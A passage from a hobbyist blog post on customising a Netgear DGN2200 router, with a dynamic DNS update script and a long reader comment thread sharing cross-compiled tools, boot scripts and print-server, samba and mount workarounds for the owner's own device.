But not everything of course is lost, there are a bunch of other possibilities still free out there that should work with little hassle on the DGN2200. I have tried myself <a href="http://www.noip.com/">no-ip</a> but also <a href="https://www.dnsdynamic.org">DnsDynamic</a> should work. Try to work with this little script that I use for no-ip myself:</p>
<pre dir="ltr">#!/bin/sh

LASTIP="first"
LOOPS=0

USERNAME="myusernamehere"
PASSWORD="mypasswordhere"
HOSTNAME="whatever.noip.com"

sleep 120

while true; do
        NEWIP=`ifconfig | grep P-t-P | cut -d":" -f 2 | cut -d" " -f 1`
        # echo "New ip=$NEWIP, old ip=$LASTIP"
        if [ "$NEWIP" != "$LASTIP" ]; then
                #echo "updating..."
                rm /tmp/noipout
                CURLOUT=`/mnt/shares/U/curl -o /tmp/noipout -u $USERNAME:$PASSWORD 
"http://dynupdate.no-ip.com/nic/update?hostname=$HOSTNAME"`
                grep -e "good" -e "nochg" /tmp/noipout
                if [ $? -eq 0 ]; then
                        # echo "good update"
                        LASTIP=$NEWIP
                fi
        fi
        sleep 120
        LOOPS=$((LOOPS+1))

        if [ $LOOPS -ge 60 ]; then
                LASTIP="force"
                LOOPS=0
        fi
done;
</pre>
<p>The script will loop forever and every 2 minutes it will check if the IP on the outside interface (the NEWIP value) changed. If changed it will use Curl (be aware that you may need to change the path to curl, that you can download from the top part of the article, depending on where you installed it) to send the appropriate query to the server. It will then parse the output returned to see if the update was successfull. Every 60 loops (so every 2 hours) an update will be anyway forced for safety.<br>
For DnsDynamic the script should be quite simillar since the return codes are the same. Be just aware that you need to change the URL used in the previous script to update to something like:</p>
<pre dir="ltr">https://www.dnsdynamic.org/api/?hostname=$HOSTNAME&myip=$NEWIP
</pre>
<p>You can put this script as explained for other tasks in your /usr/etc/rcS (or a custom one) to be executed at boot time (do not forget the &amp; character to put it in background!)<br>
 </p>
<h3 id="comments">Comments</h3>
<ul>
<li><strong>Davide on 2012-11-26 16:18:30 +0100</strong></li>
</ul>
<blockquote>
<p>Well done! 🙂<br>
I’d like to add the p910nd daemon on the router, can you cross-compile it to make some test please?<br>
And another question: is this sw compatible with dgn2200v1 router (and reverse, too)?</p>
<p>Thanks a lot</p>
<p>D.</p>
</blockquote>
<ul>
<li><strong>fede on 2012-11-26 16:36:02 +0100</strong></li>
</ul>
<blockquote>
<p>Hello there!<br>
I prepared the p910nd as requested, I just tested that it starts and is alive, didn’t have the possibility to have a printer attached at the moment, but I may try later on 🙂</p>
<p>Please let me know if the package seems to work to you eventuall so I put it in the official list of the post. Here is the <a href="http://www.evolware.org/dnload/dgn2200n/p910nd-dgn2200-bin.tar.gz" rel="nofollow">link to download</a>.</p>
<p>The binary is derived from version 0.93 available at <a href="http://p910nd.sourceforge.net/" rel="nofollow">p910nd project page</a>. I just modified the lockfile to be created at /var/lock instead of /var/lock/subsys to be more compatible with the default firmware.</p>
<p>As for the binary compatibility of the dgn2200v1 router: I don’t have one to check sadly but the CPU is the same MIPS family so if the filesystem has simillar library versions they could be “binary compatible”.</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Davide on 2012-11-27 15:52:34 +0100</strong></li>
</ul>
<blockquote>
<p>Ok! Now I have all binaries in my router, but can’t use them.. :/<br>
I’m quite new on embedded systems so don’t exactly know to do how can I use the binaries.<br>
First of all, I put all binaries in /opt directory, and vt102 in /opt/toolchains/uclibc-crosstools-gcc-4.4.2-1/share/terminfo/v/ directory, but running ./nano I got the message “Error opening terminal: vt102.”<br>
No luck even with p910nd and dropbear daemons, running them I can’t find them alives on running processes list generated by ps command.</p>
<p>Can you explain how do you get them up?</p>
<p>Thanks a lot!! 🙂</p>
</blockquote>
<ul>
<li><strong>fede on 2012-11-27 16:15:38 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!</p>
<p>For nano please double check the path to the “vt102” file. That error is specific from the ncurses library that can’t find that file to get the terminal definition, so it would all point to the fact that somehow you didn’t copy correctly the file from the message.</p>
<p>For dropbear: make sure you first generate the keys and then specify the path to the keys to the executable, otherwise the defaults are in /etc and they are missing there.</p>
<p>So for the keys do for example both:<br>
./dropbearkey -t rsa -f /tmp/dropbear_rsa_host_key<br>
and<br>
./dropbearkey -t dss -f /tmp/dropbear_dss_host_key<br>
this will generate the two keys in /tmp (eventually of course you can put them in /opt or other fixed storage).</p>
<p>Then start dropbear pointing to the keys with:<br>
./dropbear -d /tmp/dropbear_dss_host_key -r /tmp/dropbear_rsa_host_key<br>
Now you should see it running and accepting connections!</p>
<p>For p910nd if you start it with –help do you see it working? But if you just start “./p910nd” you should see a process p9100d running indeed. Check that you have the /var/lock and /var/run directories in case where it creates some runtime files.</p>
<p>Are you using the v1 or v3 hardware at the end? Which firmware also do you have?</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Davide on 2012-11-28 15:44:27 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks for help! So..</p>
<p>Router: dgn2200v3<br>
Firmware: V1.1.00.10_1.00.10</p>
<p>As you said, a third check was needed for the path, the final “s” of toolchains was missing.. eh ehm.. sorry.. at the end.. nano is correctly working 🙂</p>
<p>dropbear is also working, but at the beginning I couldn’t login with admin or root user, so checking /etc/passwd I discovered that root is the only user. So I simply solve the problem giving a “passwd” command from telnet debug console, choosing a new root password. After I copy the /etc/passwd to /usr/etc/passwd to make it permanent.</p>
<p>As now I can’t print with p910nd daemon :/<br>
It seems the daemon is correctly running as it creates the pid file in /var/run and of course the port 9100 is discoverable from a client host with nmap.<br>
I tried lounching it with a “#p910nd -f /dev/printer0” but I think that I have to tell to the router that he has a printer attached to his USB Host port.. but how should I do it?</p>
<p>See ya! Ciao 😉</p>
</blockquote>
<ul>
<li><strong>fede on 2012-11-28 18:53:21 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
Great now nano and dropbear are working 🙂 For dropbear maybe the login problem was also depending on the shell. Dropbear permits a login just from the shells listed in /etc/shells and admin user usually has a shell (/sbin/sh) that is not listed there. So another solution may have been just to add /sbin/sh in the /etc/shells file. I noticed I changed this on my device but forgot to write on the article.</p>
<p>As for the printer you should attach the printer to the USB and check what the kernel is seeing with “dmesg”.<br>
I checked and the USB-Printer driver is compiled in (not as a module but integrated in the kernel). I tried to attach a printer and after some time indeed with “dmesg” command I saw:</p>
<p>usblp0: USB Bidirectional printer dev 2 if 1 alt 0 proto 2 vid 0x04B8 pid 0x080</p>
<p>meaning the printer was seen and recognized as a printer. Try to see if you see something like this. Actually it really depends a lot on the printer model now and how it gets detected. So plug it and check (after some time) with dmesg.</p>
<p>Then as you correctly did you should use /dev/printer0 since that is a device with major/minor 180/0 which is what /dev/usblp0 is usually. You can get this info, if the printer is recognized, also in /sys/class/usb/lp0/dev file. But of course the first step is to see if and how your printer is recognized by the kernel.</p>
<p>Hope it helps!</p>
<p>Ciao,</p>
</blockquote>
<ul>
<li><strong><a href="mailto:luisapulliam@bigstring.com">luisapulliam@bigstring.com</a> on 2013-01-22 18:29:01 +0100</strong></li>
</ul>
<blockquote>
<p>Hello! Would you mind if I share your blog with my facebook group?</p>
<p>There’s a lot of people that I think would really enjoy your content. Please let me know. Cheers</p>
</blockquote>
<ul>
<li><strong>mmuy on 2013-02-11 13:22:07 +0100</strong></li>
</ul>
<blockquote>
<p>hi. if i make changes like the transmission power of the router to 80 is it going to be save until the next reboot or it will be saved until i flash another firmware? tnx</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-11 13:39:44 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
If you followed the article guide after “The modifications will be in place till next reboot of your router. If you want to save them permanently you have to ….” then they will be permanent until you change your firmware.</p>
<p>While if you just typed over telnet the “wl” command then they will get lost at next reboot.</p>
<p>Hope it clears out things 🙂 Eventually let me know,</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-13 19:34:39 +0100</strong></li>
</ul>
<blockquote>
<p>First off all many thanks for this awesome guide and software included…</p>
<p>I managed to setup the p910nd daemon and now my DGN2200v3 works as a print server!<br>
All I had to do was to start the daemon with the following:<br>
./p910nd -f /dev/printer0 -i 192.168.1.1<br>
where 192.168.1.1 is the IP of my router on the internal network.</p>
<p>Now to my question…</p>
<p>Is there any way to have the p910nd daemon start automatically when I reboot my router?</p>
<p>Thanks!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-14 10:42:45 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Thomas!<br>
Thanks for the kind words!</p>
<p>To make it start automatically you have to add it to the end of the rcS script (in /usr/etc). Please check better the article above, after the part “Therefore if you want to make your modifications permanent to the startup scripts you have to work on /usr/etc. For example, considering also that there is no default editor on the system, if you would like to make the led blinking permanent you could execute something like this:”</p>
<p>Of course if you first upload the nano editor supplied you can make it better 😉</p>
<p>So:</p>
<ol>
<li>
<p>Mount the filesystem in rw (mount -n -o remount,rw /)</p>
</li>
<li>
<p>Create the shell script for example /usr/etc/rc.thomas and inside put the commands you would like to execute at boot, so for example (notice that you have to put the entire path to the p910nd executable):<br>
#!/bin/sh<br>
/mnt/shares/U/p910nd -f /dev/printer0 -i 192.168.1.1</p>
</li>
<li>
<p>Make che script executable (chmod a+x /usr/etc/rc.thomas)</p>
</li>
<li>
<p>At the end of the /usr/etc/rcS script call your script, so at the very bottom just add</p>
</li>
</ol>
<p>/etc/rc.thomas &amp;</p>
<p>Hope it helps,</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-14 12:38:25 +0100</strong></li>
</ul>
<blockquote>
<p>Splendid!</p>
<p>I now have my DGN2200v3 as a fully functional print server, without worrying about having to telnet and restart p910nd if I have to reboot :)!</p>
<p>Many thanks once more…</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-14 13:02:18 +0100</strong></li>
</ul>
<blockquote>
<p>Great Thomas!<br>
Thank to you for your positive feedback!</p>
<p>Have fun modifying the router 😉<br>
F.</p>
</blockquote>
<ul>
<li><strong>Michael Bliss on 2013-02-14 19:54:11 +0100</strong></li>
</ul>
<blockquote>
<p>Is there a way to create a second PPPOE DSL connection on the 2200v3? We have a VPN service here that works on these exact routers as long as they have the custom firmware from the VPN provider, unfortunately I made a mistake and bought a stock replacement one and now I cannot create a second PPPOE connection that is required for the setup of the VPN.</p>
<p>If you can assist me with this I will be eternally grateful.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-15 07:45:07 +0100</strong></li>
</ul>
<blockquote>
<p>Hello,<br>
From the telnet command line you should have everything on the router, as there is pppoe command:</p>
<p># pppoe -V<br>
Roaring Penguin PPPoE Version 3.5</p>
<p>And there is kernel support for it. Try to check the usage page on a normal Linux box or on a search engine.<br>
Be aware eventually of filters on iptables in case.</p>
<p>Do you eventually have access to the shell of the VPN provider router? In that case you may try to check over there what is running specifically!</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-15 16:59:55 +0100</strong></li>
</ul>
<blockquote>
<p>Hello again Federico…</p>
<p>Today I have another challenge for your skills :).<br>
On my home network I have an IcyBOX NAS that has some SAMBA shares defined.<br>
I’m trying to mount a share on the DGN2200v3 but I get an error that smbfs is not supported by the kernel :(.</p>
<p>Is there any chance for a .ko module that we could insmod to have such support?</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-15 18:17:23 +0100</strong></li>
</ul>
<blockquote>
<p>Welcome back Thomas! 😉</p>
<p>Don’t worry, no problem! Actually smbfs is obsolete from some time, cifs is suggested so I prepared that one for you!<br>
Here it comes: <a href="/dnload/dgn2200n/cifs-kernel-module-dgn2200-bin.tar.gz" rel="nofollow">cifs-kernel-module-dgn2200-bin.tar.gz</a></p>
<p>Just load it with insmod (insmod cifs.ko) and then to mount use something like:</p>
<p>mount -t cifs //10.36.36.42/test /mnt/shares/U/cifstest/ -o username=guest</p>
<p>Of course replace the IP (10.36.36.42 in example) and share name (test in example) and the mountpoint (/mnt/shares/U/cifstest) where you want to mount the share.<br>
If you need authentication then you should do something like -o username=user,password=pass</p>
<p>I tested with a local guest access share from my Linux box and should be ok, let me know if it worked 😉</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-15 19:43:57 +0100</strong></li>
</ul>
<blockquote>
<p>Just 3 letters my friend…</p>
<p>WOW!!!</p>
<p>Works like a charm!<br>
I can’t wait to find some time to setup my remote server to backup over SSH directly to my IcyBOX :D…</p>
<p>I honestly can’t thank you enough for your help.</p>
<p>Best regards,</p>
<p>Thomas</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-16 09:58:18 +0100</strong></li>
</ul>
<blockquote>
<p>Hello again…</p>
<p>I hope you won’t hate me for keep asking you for things :).<br>
Any chance for an rsync binary so that I can sync my remote server with my NAS?</p>
<p>Dropbear doesn’t have SFTP capabilities 🙁 …</p>
<p>Thanks in advance!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-16 17:08:19 +0100</strong></li>
</ul>
<blockquote>
<p>Ciao Thomas,<br>
Don’t worry, takes little time for simple packages so no problem at all 🙂</p>
<p>Try here: <a href="/dnload/dgn2200n/rsync-dgn2200-bin.tar.gz" rel="nofollow">rsync-dgn2200-bin.tar.gz</a>.</p>
<p>It’s last 3.0.9 version. I just tested it very very briefly since I’m short on time right now, please let me know if it works well so I put it later in the “official” packages list in the article 😉</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Sherry on 2013-02-17 01:13:53 +0100</strong></li>
</ul>
<blockquote>
<p>I like the helpful info you provide in your articles.<br>
I’ll bookmark your weblog and check again here regularly. I am quite sure I’ll learn plenty of new stuff<br>
right here! Good luck for the next!</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-17 07:36:19 +0100</strong></li>
</ul>
<blockquote>
<p>rsync is working 100% 😀</p>
<p>My DGN2200v3 now serves as a secured remote backup server (rsync over SSH) attached to my IcyBOX NAS.</p>
<p>Federico rulez!!!</p>
<p>Cheers!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-17 09:11:35 +0100</strong></li>
</ul>
<blockquote>
<p>Glad it works fine, thanks for the feedback 🙂</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-21 06:45:41 +0100</strong></li>
</ul>
<blockquote>
<p>Hello again…</p>
<p>I’m trying to find how I can send an email from the router via command line.<br>
Since from the web interface we can schedule email sending of logs, I suppose there is a mail sending command somewhere.<br>
I tried “mail” and “sendmail” but I only get the “command not found”…</p>
<p>Any hits dear DGN2200v3 guru 🙂 ?</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-21 07:12:36 +0100</strong></li>
</ul>
<blockquote>
<p>Hey Thomas,<br>
The tool already inside the router is “smtpc”. Try to start it without parameters to get an usage pattern:</p>
<h1 id="-smtpc"># smtpc</h1>
<h1 id="-v-verbose-debug">Usage: ./smtpc [m:s:f:r:h:p:U:P:cv] &lt; files<br>
-m mime type<br>
-s subject<br>
-f from addr (if NULL use recipient)<br>
-r recipient<br>
-h mail server<br>
-p mail port (default=25)<br>
-U user name (ESMTP)<br>
-P password (ESMTP)<br>
-c Clear syslog<br>
-v verbose (DEBUG)</h1>
<p>This is the one used for reports configurable from the web interface. It is not too advanced (no SSL etc) but check if it is enough for you.<br>
Later on I was planning to crosscompile msmtp when I have a bit of time 🙂</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-21 07:22:39 +0100</strong></li>
</ul>
<blockquote>
<p>Many many thanks Federico!</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-22 18:42:27 +0100</strong></li>
</ul>
<blockquote>
<p>Now it’s time for me to share a tip for our DGN2200v3 :).</p>
<p>As you may have noticed, from the web GUI we can only use DynDNS service for dynamic DNS. Unfortunately DynDNS is no longer free (without “trying” a Pro subscription that you have to cancel).</p>
<p>In order to have dynamic DNS, you can created an account to <a href="http://www.dnsdynamic.org/" rel="nofollow">DNSDynamic</a>.<br>
Then, via Telnet/SSH and nano (or simply echo) create a file (e.g. /etc/ddns) with the following content:<br>
<code>export IPADDR=`/usr/sbin/ifconfig ppp1 | grep 'inet addr:' | cut -d':' -f2 | cut -d' ' -f1`&lt;br /&gt; curl --interface ppp1 --insecure &quot;https://:@www.dnsdynamic.org/api/?hostname=&amp;myip=$IPADDR&quot;&lt;br /&gt; </code></p>
<p>Replace with your email as DNSDynamic, with your password and with your hostname.</p>
<p>Then, create an entry in /etc/crontab in order to execute the script every let’s say 5 minutes.<br>
<code>&lt;br /&gt; /usr/sbin/echo &quot;*/5 * * * * root /bin/sh /etc/ddns&quot; &gt;&gt; /etc/crontab&lt;br /&gt; </code></p>
<p>That’s it!</p>
<p>PS:<br>
I still can’t find how to automatically add the cron job upon reboot :(.<br>
Adding it to /etc/usr/crontab didn’t do the trick.<br>
It seems /etc/crontab is overwritten by something else on boot…</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-23 07:53:52 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks Thomas for the very useful information!</p>
<p>One other way to have a free dynamic DNS option that is 100% compatible with Dyndns (actually it’s Dyndns server itself just “rebranded”) is to use the service at <a href="https://www.dlinkddns.com" rel="nofollow"><a href="https://www.dlinkddns.com">https://www.dlinkddns.com</a></a> (at least until it lasts 🙂 you have to register then it practically creates you one dyndns domain for free… one per account)</p>
<p>I’ll check out the crontab and hopefully let you know something interesting 🙂</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-02-23 08:30:20 +0100</strong></li>
</ul>
<blockquote>
<p>Hey Thomas,<br>
Did my homework 🙂</p>
<p>Well the crontab file looks like it’s overwritten by the “rc_apps” executable which does most of Netgear “closed source” operations. (there is no source of this file) So “use the source, Luke” didn’t apply!</p>
<p>This said I studied a bit that executable (sometimes the dark side calls you in such moments! 😉 ) and noticed that one of the things it does is also appending at the end of the operations the file /etc/wifi_crontab, if it exists, to the crontab file.<br>
That wifi_crontab file is created when you do WIFI scheduling from the Web interface.</p>
<p>So actually one solution, if you don’t use (or don’t change often since it’s overwritten every time you reconfigure it) the WIFI scheduling is to put your line for crontab in /usr/etc/wifi_crontab and it will be automatically added at every boot.</p>
<p>Hope that is a working solution for you!</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>Thomas Ragos on 2013-02-23 14:33:32 +0100</strong></li>
</ul>
<blockquote>
<p>Since I don’t use WiFi scheduling, I’ll go along the wifi_crontab route :).</p>
<p>Thanks for the tip!</p>
</blockquote>
<ul>
<li><strong>superpippo82xxx on 2013-03-05 17:31:54 +0100</strong></li>
</ul>
<blockquote>
<p>Hi can you help me building iptable roules for openvpn<br>
I’ve vpn working VPN and i can access application running on the router but i can’t access local lan.<br>
Thanks</p>
</blockquote>
<ul>
<li><strong>Stuart on 2013-03-09 15:39:41 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks for the great info. I notice that the router has wget so I can get your packages straight to it. But it does not have tar and zip. Any chance you could make tar and zip binaries and add them to your list (not tared or zipped themselves obviously 😉</p>
<p>Has anyone managed to get ext2/3 usb storage working on the dgn2200v3? The manual says it should work but it just does not show up as a share. I know the kernel has ext support and can mount my drive manually by telneting in. dmesg shows the drive is detected but it does not mount it. dmesg also shows this:</p>
<p><code>FAT: utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive!</code></p>
<p>So it looks like it tries to mount as FAT even though it is ext (I have tried ext2 and ext3). FAT would be a pain due to the 4gb file limit. I guess I could try NTFS but that just seems wrong on a linux box.</p>
<p>Many thanks,</p>
<p>Stuart</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-03-10 07:37:30 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Stuart!<br>
I like a lot the a “live” tar idea to make the deployment of additional packages even easier even when lacking a PC with a few tools nearby 🙂<br>
I added in the article body a copy of tar executable uncompressed (and also gzip nearby to handle the gzipped archives) in the ready software!<br>
Thanks for the idea 🙂</p>
<p>As for the mount: you’re correct ext3 is supported in the kernel. The real problem is that the application that manages the mounts (rc_apps, it’s closed source) actually forces NTFS/FAT 🙁<br>
See here:</p>
<p><code>&lt;br /&gt; mounting %s -&gt; /mnt/shares/%c&lt;br /&gt; /sbin/mkdir -p /mnt/shares/%c&lt;br /&gt; /bin/ntfsmount -o rw,force /dev/%s /mnt/shares/%c&lt;br /&gt; /bin/mount -t vfat -o rw,uid=0,gid=0,umask=000,iocharset=utf8 /dev/%s  /mnt/shares/%c&lt;br /&gt; </code></p>
<p>I didn’t check how carefully then it manages to understand if the mount was succesfully, but it may just check the return code probably.</p>
<p>I guess that eventually putting a custom ntfsmount or mount (a shell script with some logic inside) may be a good and clean trick to do the thing 🙂 So for example rename ntfsmount to something else and do a shell script instead of ntfsmount that first tries to mount it as ext3 and if not succesfull calls the old binary… it should work 😉</p>
<p>Hope it was of help,</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Stuart on 2013-03-12 12:05:07 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks for the tar and zip. It worked like a dream with telnet open I could just right click in my browser and copy the link and then paste after a wget in the telnet terminal. Really easy.</p>
<p>I have figured a very cludgy hack to get my ext3 drive shared and survive reboots and hot plugging (not unplugging).</p>
<p>I first append this to /usr/etc/samba.conf/smb.conf:</p>
<p><code>&lt;br /&gt; [shares]&lt;br /&gt; comment = Shares&lt;br /&gt; writeable = yes&lt;br /&gt; path = /mnt/shares/&lt;br /&gt; </code></p>
<p>This means whenever samba starts it will share the /mnt/shares directory and therefore I can get at any sub-directories.</p>
<p>In order to get the drive to automount I have slightly adapted this script /usr/etc/usb/usb_m.sh</p>
<p>`<br />
&hellip;.<br />
/bin/sleep 3</p></p>
<p><b>#first try to mount ext3<br />
/etc/mountExt.sh $1 $2<br />
if [ $? -eq 0 ]; then<br />
        #That script worked so we do not need to continue<br />
        exit 0<br />
fi<br />
</b><br />
/usr/sbin/rc usb_service mount $1<br />
....<br />
` 
<p>The new bit should be in bold. If the script succeeds then no need to call the closed source mount so we exit with success.</p>
<p>The script itself /usr/etc/mountExt.sh:</p>
<p>`<br />
#!/bin/sh</p></p>
<p>rmDir() {<br />
    if [ "$(ls -A $1)" ]; then<br />
        echo "Not empty"<br />
    else<br />
        rm -r $1<br />
    fi<br />
}</p>
<p>SHARES=/mnt/shares/</p>
<p>if [ ! -d $SHARES/$2 ]; then<br />
        mkdir $SHARES/$2<br />
fi</p>
<p>mount -t ext3 /dev/"$1"1 $SHARES/$2<br />
if [ $? -ne 0 ]; then<br />
    echo "mount borked it"<br />
    rmDir $SHARES/$2<br />
    exit 200<br />
fi</p>
<p>nmbd<br />
smbd<br />
` 
<p>This uses the model name of the drive provided by the mount script. It creates a directory in /mnt/shares. I have no way to check what the file system is so we just try and mount it as ext3. If it succeeds then it was ext3 and we start samba. If it fails then it was not ext3 and we delete the directory (ensuring it is empty). We then return an arbitrary non 0 exit code. The main script will use this to determine whether to continue to try the built in mount script for FAT and NTFS.</p>
<p>It is very hacky but it works for me and survives reboot. Limitations are that it will only try and mount the first partition of a drive. The web GUI also does not know anything about the mounted ext3. It will not show up on the list of shares in the settings and it can not be safely removed from there. The only way to unmount is to telnet in and do it manually.</p>
<p>Hope it is useful for others. It should not interfere with the normal working of the usb sharing but if you have problems you can restore the files from you backups or reflash. I see no reason why it would make the router unbootable but it is your own risk.</p>
</blockquote>
<ul>
<li><strong>Stuart on 2013-03-13 17:37:37 +0100</strong></li>
</ul>
<blockquote>
<p>I have realised that we can easily add to the web frontend as we can write into /www/</p>
<p>If we remount using<br>
<code>&lt;br /&gt; mount -n -o remount,rw /&lt;br /&gt; </code></p>
<p>Then we can make our own cgi using shell scripts. If you have the toolchain then could also do it in C but ash is good for most things. As an example if you make a file called samba.cgi an save it in /www/</p>
<p>`<br />
#!/bin/sh</p></p>
<p>startSamba() {<br />
        /sbin/smbd -D > /dev/null 2>&1<br />
        /sbin/nmbd -D > /dev/null 2>&1<br />
}</p>
<p>stopSamba() {<br />
        /sbin/killall smbd<br />
        /sbin/killall nmbd<br />
        while /sbin/ps aux | /sbin/grep -v grep | /sbin/grep -q 'smbd' ; do<br />
                /sbin/sleep 1<br />
        done<br />
}</p>
<p>echo "Content-type: text/html"<br />
echo ""</p>
<p>case $QUERY_STRING in<br />
*samba=start*)<br />
        startSamba<br />
;;<br />
*samba=stop*)<br />
        stopSamba<br />
;;<br />
*samba=restart*)<br />
        stopSamba<br />
        startSamba<br />
;;<br />
esac</p>
<p>echo "Samba is "<br />
if /sbin/ps aux | /sbin/grep -v grep | /sbin/grep -q 'smbd'<br />
        then<br />
                echo 'running'<br />
                start="disabled"<br />
                restart=""<br />
                stop=""<br />
        else<br />
                echo 'not running'<br />
                start=""<br />
                restart="disabled"<br />
                stop="disabled"<br />
fi<br />
echo "</p>
<p>Choose action:<br />
Start<br />
Restart<br />
Stop</p>
<p>"</p>
<p>exit 0<br />
` 
<p>You can then browse to <a href="http://IPofYourRouter/samba.cgi" rel="nofollow ugc">http://IPofYourRouter/samba.cgi</a></p>
<p>You will get a very simple page that tells you if samba is running and lets you start, stop or restart it.</p>
<p>I intend to make myself a page which lets me start and stop samba but also shows all external drives and partitions and lets me mount/unmount them. This is all possible without other dependencies. The only thing I won’t be able to do is show the filesystem of an unmounted drive. The best way to find this would be the file command but it is not on the router.</p>
<p>Will share when done but maybe others can think of ways to add interesting web based controls.</p>
<p>Stuart</p>
</blockquote>
<ul>
<li><strong>Stuart on 2013-03-14 07:45:23 +0100</strong></li>
</ul>
<blockquote>
<p>The comments system is eating the HTML code in the script. TTo see the script properly check here:</p>
<p><a href="http://pastebin.com/uRtcsSRF" title="Samba script pastebins" rel="nofollow"></a></p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-03-14 07:48:39 +0100</strong></li>
</ul>
<blockquote>
<p>Hey Stuart,<br>
Thanks for the great feedback!</p>
<p>I’ll see if I can prepare the file or some simillar tool (like blkid or so) for the DGN so you can also give informations about umounted devices as you say!</p>
<p>Ciao.<br>
F.</p>
</blockquote>
<ul>
<li><strong>Kapil Oberoi on 2013-04-02 18:02:49 +0100</strong></li>
</ul>
<blockquote>
<p>Excellent work !! I’ve been trying to compile nmap for my WNR3500LV2 but in vain. Did you ever tried to compile nmap as no matter which tutorial I follow, the toolchain cannot be compiled 🙁</p>
<p>TY</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-04-02 21:31:56 +0100</strong></li>
</ul>
<blockquote>
<p>Hello,<br>
Well nmap is quite a nice beast! With libpcap and expecially liblua as a dependancy is quite problematic with the uClinux based toolchain.</p>
<p>If a version without the lua extension is fine for you then you can find now one working one here: <a href="http://www.evolware.org/dnload/dgn2200n/nmap-6.25-nolua-dgn2200-bin.tar.gz" rel="nofollow">nmap-6.25-nolua-dgn2200-bin.tar.gz</a>.</p>
<p>Decompress it where you like then since it needs also the libpcap library either put it in a library directory or use it with the LD_LIBRARY_PATH variable, ie:</p>
<p><code>LD_LIBRARY_PATH=. ./nmap -v</code></p>
<p>Also given the limited uClibc you cannot use the <em>epoll</em> engine so append a <code>--nsock-engine poll</code> to your classic command line. (or otherwise select)</p>
<p>To compile it without LUA there is <a href="http://seclists.org/nmap-dev/2012/q4/366" rel="nofollow">this bug</a> to be aware eventually.</p>
<p>Hope it helps! For a fully featured lua version some more time and patience would be needed 😉</p>
<p>ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>ingamedeo on 2013-04-03 16:20:27 +0100</strong></li>
</ul>
<blockquote>
<p>Hi 🙂 Yesterday I flashed this router with the new firmware, but now all light are on and recovery mode doesn’t work! 🙁</p>
<p>And suggestions about how to recover the router and have it working again?</p>
<p>Perhaps something like JTAG?</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-04-03 16:45:55 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,<br>
Switch off the router, then keep the reset button pressed and power on the router. If the leds start blinking (like when you do web upgrade) it may be recoverable since it goes in flashing mode.</p>
<p>Then get this program <a href="http://guidanetgear.altervista.org/_altervista_ht/netgear/dg834_recovery_utility.zip" rel="nofollow">here</a> for Windows XP (some report troubles with 7 and later) and use this <a href="http://www.mediafire.com/?78qvod5gskdnbm1" rel="nofollow">firmware here</a> with the program to flash it (copy dgn2200v3.bin inside the utility directory). The program is originally for the DGN834 but works also with the 2200.</p>
<p>Connect to the ethernet port, when the router is in the blinking state start the program and have a lot of patience for the operation to finish. There is a little guide inside the ZIP file, just be sure you put the right firmware as linked.</p>
<p>Hope it helps!</p>
<p>Otherwise you could get out the serial / JTAG but it’s quite a longer road.</p>
<p>Ciao,<br>
F.</p>
</blockquote>
<ul>
<li><strong>kapil Oberoi on 2013-04-03 17:48:56 +0100</strong></li>
</ul>
<blockquote>
<p>Much appreciated !!!!!<br>
I’ll be using the – nmap-6.25-nolua-dgn2200-bin.tar.gz as advised by you. But to use this do we have to shift from the original netgear firmware to tomato and dd-wrt??</p>
<p>My apologies for being so demanding but your help would be once again highly appreciated 😀</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-04-03 18:10:22 +0100</strong></li>
</ul>
<blockquote>
<p>The package is for the standard Netgear firmwares (both beta and not). It should anyway work on other simillar/alternative firmwares if the libraries are roughly simillar (and of course the architecture), give it a try eventually 🙂</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Leo on 2013-05-05 09:23:32 +0100</strong></li>
</ul>
<blockquote>
<p>Reboot DGN2200 Every day at 5:00</p>
<p>Thanks for all info you provide above:</p>
